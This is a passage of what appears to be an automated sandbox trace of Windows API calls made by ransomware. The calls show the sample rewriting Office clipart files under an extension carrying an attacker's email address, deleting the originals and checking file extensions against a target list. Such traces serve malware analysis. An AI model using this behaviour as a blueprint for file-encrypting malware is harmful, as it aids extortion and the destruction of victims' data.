"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.916] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.916] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.917] GetLastError () returned 0x0 [0063.917] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0063.919] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0063.920] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.920] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.920] SetEndOfFile (hFile=0x368) returned 1 [0063.920] CloseHandle (hObject=0x368) returned 1 [0063.921] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.921] SetEndOfFile (hFile=0x38c) returned 1 [0063.922] CloseHandle (hObject=0x38c) returned 1 [0063.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0063.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.923] lstrlenW (lpString=".doc") returned 4 [0063.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.923] lstrlenW (lpString=".docx") returned 5 [0063.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.923] lstrlenW (lpString=".pdf") returned 4 [0063.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.923] lstrlenW (lpString=".xls") returned 4 [0063.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.923] lstrlenW (lpString=".xlsx") returned 5 [0063.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.923] lstrlenW (lpString=".ppt") returned 4 [0063.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.923] lstrlenW (lpString=".zip") returned 4 [0063.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.923] lstrlenW (lpString=".rar") returned 4 [0063.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.923] lstrlenW (lpString=".bz2") returned 4 [0063.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.923] lstrlenW (lpString=".7z") returned 3 [0063.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.923] lstrlenW (lpString=".dbf") returned 4 [0063.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.923] lstrlenW (lpString=".1cd") returned 4 [0063.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.924] lstrlenW (lpString=".jpg") returned 4 [0063.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.924] lstrlenW (lpString=".doc") returned 4 [0063.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString=".docx") returned 5 [0063.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.924] lstrlenW (lpString=".pdf") returned 4 [0063.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString=".xls") returned 4 [0063.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.924] lstrlenW (lpString=".xlsx") returned 5 [0063.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.924] lstrlenW (lpString=".ppt") returned 4 [0063.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.924] lstrlenW (lpString=".zip") returned 4 [0063.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.924] lstrlenW (lpString=".rar") returned 4 [0063.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString=".bz2") returned 4 [0063.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString=".7z") returned 3 [0063.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.924] lstrlenW (lpString=".dbf") returned 4 [0063.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.925] lstrlenW (lpString=".1cd") returned 4 [0063.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0063.925] lstrlenW (lpString=".jpg") returned 4 [0063.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.925] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.925] lstrlenW (lpString="AN04225_.WMF") returned 12 [0063.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.925] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=8492) returned 1 [0063.925] CloseHandle (hObject=0x38c) returned 1 [0063.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0063.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.926] GetLastError () returned 0x0 [0063.926] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x212c, lpOverlapped=0x0) returned 1 [0063.928] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2130, lpOverlapped=0x0) returned 1 [0063.929] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.929] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.929] SetEndOfFile (hFile=0x368) returned 1 [0063.929] CloseHandle (hObject=0x368) returned 1 [0063.930] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.930] SetEndOfFile (hFile=0x38c) returned 1 [0063.931] CloseHandle (hObject=0x38c) returned 1 [0063.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0063.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.932] lstrlenW (lpString=".doc") returned 4 [0063.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString=".docx") returned 5 [0063.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.932] lstrlenW (lpString=".pdf") returned 4 [0063.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString=".xls") returned 4 [0063.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.932] lstrlenW (lpString=".xlsx") returned 5 [0063.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.932] lstrlenW (lpString=".ppt") returned 4 [0063.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.932] lstrlenW (lpString=".zip") returned 4 [0063.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.932] lstrlenW (lpString=".rar") returned 4 [0063.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString=".bz2") returned 4 [0063.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString=".7z") returned 3 [0063.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.932] lstrlenW (lpString=".dbf") returned 4 [0063.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.932] lstrlenW (lpString=".1cd") returned 4 [0063.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.932] lstrlenW (lpString=".jpg") returned 4 [0063.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.933] lstrlenW (lpString=".doc") returned 4 [0063.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString=".docx") returned 5 [0063.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.933] lstrlenW (lpString=".pdf") returned 4 [0063.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString=".xls") returned 4 [0063.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.933] lstrlenW (lpString=".xlsx") returned 5 [0063.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.933] lstrlenW (lpString=".ppt") returned 4 [0063.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.933] lstrlenW (lpString=".zip") returned 4 [0063.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.933] lstrlenW (lpString=".rar") returned 4 [0063.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString=".bz2") returned 4 [0063.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString=".7z") returned 3 [0063.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.933] lstrlenW (lpString=".dbf") returned 4 [0063.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.933] lstrlenW (lpString=".1cd") returned 4 [0063.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0063.933] lstrlenW (lpString=".jpg") returned 4 [0063.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.934] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.934] lstrlenW (lpString="AN04235_.WMF") returned 12 [0063.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.935] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=7804) returned 1 [0063.935] CloseHandle (hObject=0x38c) returned 1 [0063.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0063.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.943] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.943] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.944] GetLastError () returned 0x0 [0063.944] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0063.945] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0063.946] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.946] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.946] SetEndOfFile (hFile=0x368) returned 1 [0063.947] CloseHandle (hObject=0x368) returned 1 [0063.947] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.947] SetEndOfFile (hFile=0x38c) returned 1 [0063.948] CloseHandle (hObject=0x38c) returned 1 [0063.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0063.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.949] lstrlenW (lpString=".doc") returned 4 [0063.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.949] lstrlenW (lpString=".docx") returned 5 [0063.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.949] lstrlenW (lpString=".pdf") returned 4 [0063.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.949] lstrlenW (lpString=".xls") returned 4 [0063.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.949] lstrlenW (lpString=".xlsx") returned 5 [0063.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.949] lstrlenW (lpString=".ppt") returned 4 [0063.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.949] lstrlenW (lpString=".zip") returned 4 [0063.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.949] lstrlenW (lpString=".rar") returned 4 [0063.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.949] lstrlenW (lpString=".bz2") returned 4 [0063.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString=".7z") returned 3 [0063.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.950] lstrlenW (lpString=".dbf") returned 4 [0063.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.950] lstrlenW (lpString=".1cd") returned 4 [0063.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.950] lstrlenW (lpString=".jpg") returned 4 [0063.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.950] lstrlenW (lpString=".doc") returned 4 [0063.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString=".docx") returned 5 [0063.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.950] lstrlenW (lpString=".pdf") returned 4 [0063.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString=".xls") returned 4 [0063.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.950] lstrlenW (lpString=".xlsx") returned 5 [0063.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.950] lstrlenW (lpString=".ppt") returned 4 [0063.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.950] lstrlenW (lpString=".zip") returned 4 [0063.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.950] lstrlenW (lpString=".rar") returned 4 [0063.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.951] lstrlenW (lpString=".bz2") returned 4 [0063.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.951] lstrlenW (lpString=".7z") returned 3 [0063.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.951] lstrlenW (lpString=".dbf") returned 4 [0063.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.951] lstrlenW (lpString=".1cd") returned 4 [0063.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0063.951] lstrlenW (lpString=".jpg") returned 4 [0063.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.951] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.951] lstrlenW (lpString="AN04267_.WMF") returned 12 [0063.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.951] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=7804) returned 1 [0063.951] CloseHandle (hObject=0x38c) returned 1 [0063.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0063.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.952] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 